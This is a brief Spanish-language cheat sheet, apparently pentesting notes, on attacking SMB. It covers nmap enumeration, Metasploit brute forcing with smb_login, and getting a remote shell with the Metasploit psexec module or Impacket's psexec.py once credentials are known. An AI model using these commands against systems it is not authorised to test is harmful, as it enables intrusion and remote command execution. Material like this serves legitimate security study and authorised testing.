SMB

Reconocimiento con NMAP

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nmap -sCV <ip>
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Si pone el siguiente mensaje: Message signing enabled but not required podemos usar PsExec (Nos permite Ejecutar comandos)

El siguiente comando nos permitirá ver el tipo de samba/smb que esta corriendo y después buscamos exploit respecto a la versión

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
nmap -p 445 --script smb-os-discovery <IP>
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Fuerza bruta con metasploit

Módulo a utilizar: auxiliary/scanner/smb/smb_login

PsExec con Metasploit (Recomendado)

Módulo a utilizar: exploit/windows/smb/psexec

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
use exploit/windows/smb/psexec
set RHOSTS <IP>
set SMBUser <User>
set SMBPass <Password>
exploit
shell
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

PsExec

Si tenemos las credenciales y se cumple la condición mencionada arriba (Message signing enabled but not required) podemos usar 
la herramienta

┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
psexec.py <user>@<IP> cmd.exe
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────